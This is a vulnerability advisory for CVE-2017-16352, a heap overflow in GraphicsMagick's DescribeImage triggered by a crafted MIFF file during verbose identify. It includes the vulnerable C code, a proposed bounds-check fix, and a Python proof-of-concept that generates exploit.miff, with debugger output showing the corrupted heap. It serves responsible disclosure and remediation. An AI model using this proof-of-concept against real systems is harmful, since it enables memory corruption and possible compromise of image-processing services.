An unsafe call to strncpy
in magick/describe.c
causes a heap overflow when
describing images with overly long directories. The vulnerable code path can be
triggered when verbosely identifying specially crafted MIFF files.
This vulnerability was reported as part of the Beyond Security SecuriTeam Secure Disclosure program. It is also published on their blog at https://blogs.securiteam.com/index.php/archives/3494.
Affected Versions
The current release (1.3.26) is affected. Further analysis is required to determine which versions are also affected by the vulnerability.
Vulnerability Scores
- Classification: CWE-122: Heap-based Buffer Overflow
- CVSSv3: 7.6 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H)
Description
The vulnerable code exists in the function DescribeImage()
in the file
magick/describe.c
. The call to strncpy
on line 855 does not limit the size
to be copied to the size of the buffer copied to. Instead, the size is
calculated by searching for a newline or a null byte in the directory name.
844 /*
845 Display visual image directory.
846 */
847 image_info=CloneImageInfo((ImageInfo *) NULL);
848 (void) CloneString(&image_info->size,"64x64");
849 (void) fprintf(file," Directory:\n");
850 for (p=image->directory; *p != '\0'; p++)
851 {
852 q=p;
853 while ((*q != '\n') && (*q != '\0'))
854 q++;
855 (void) strncpy(image_info->filename,p,q-p);
856 image_info->filename[q-p]='\0';
857 p=q;
...
880 }
881 DestroyImageInfo(image_info);
Since the field filename
in the ImageInfo
struct has the static size of
2053, the heap can be easily corrupted by forging an overly long directory name.
type = struct _ImageInfo {
...
FILE *file;
char magick[2053];
char filename[2053];
_CacheInfoPtr_ cache;
void *definitions;
Image *attributes;
unsigned int ping;
PreviewType preview_type;
unsigned int affirm;
_BlobInfoPtr_ blob;
size_t length;
char unique[2053];
char zero[2053];
unsigned long signature;
}
One possible way to trigger the bug is to run the identify
command on a
specially crafted MIFF format file with the verbose flag.
Mitigation
To fix this issue, we recommend the following non-intrusive fix. The addition of
a check in the while
loop to ensure that (q-p)
is never larger than the size
of the buffer (MaxTextExtent
) will prevent the unbounded overflow.
850 for (p=image->directory; *p != '\0'; p++)
851 {
852 q=p;
853 while ((*q != '\n') && (*q != '\0') && ((q-p) < MaxTextExtent))
854 q++;
855 (void) strncpy(image_info->filename,p,q-p);
856 image_info->filename[q-p]='\0';
857 p=q;
...
880 }
881 DestroyImageInfo(image_info);
Additionally, enabling the FORTIFY_SOURCE
flag when compiling with gcc and
GLIBC will mitigate the exploitability of the bug.
Proof of Concept
The following proof of concept script will generate a specially crafted MIFF
file exploit.miff
.
#!/usr/bin/python
from pwn import *
partitions = ('id=ImageMagick version=1.0\nclass=DirectClass matte=False\n' +
'columns=1 rows=1 depth=16\nscene=1\nmontage=1x1+0+0\n\x0c\n' +
':\x1a',
'\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "exploit.miff"
def main():
payload = "A"*10000
payload = partitions[0] + payload + partitions[1]
file(output, "w").write(payload)
if __name__ == "__main__":
main()
Running the GraphicsMagick gm
utility with the arguments identify -verbose
in GDB and breaking after the vulnerable strncpy
call, and examining the
corrupted ImageInfo
object demonstrates that the heap corruption was
successful.
gef➤ r identify -verbose exploit.miff
...
gef➤ br describe.c:856
Breakpoint 1 at 0x4571df: file magick/describe.c, line 856.
...
gef➤ p *image_info
$3 = {
...
compression = UndefinedCompression,
file = 0x0,
magick = '\000' <repeats 2052 times>,
filename = 'A' <repeats 2053 times>,
cache = 0x4141414141414141,
definitions = 0x4141414141414141,
attributes = 0x4141414141414141,
ping = 0x41414141,
preview_type = 1094795585,
affirm = 0x41414141,
blob = 0x4141414141414141,
length = 0x4141414141414141,
unique = 'A' <repeats 2053 times>,
zero = 'A' <repeats 2053 times>,
signature = 0x4141414141414141
}
Credit
This issue was discovered by Terry Chia (@ayrx) and Jeremy Heng (@nn_amon).
Timeline
- 5 Oct 2017 - Discovery of the vulnerability.
- 17 Oct 2017 - Reporting of vulnerability to Beyond Security under the SecuriTeam Secure Disclosure program.
- 1 Nov 2017 - Bounty paid and vulnerability disclosed on the Beyond Security SecuriTeam Secure Disclosure blog.
- 2 Nov 2017 - CVE-2017-16352 assigned.
Leave a Comment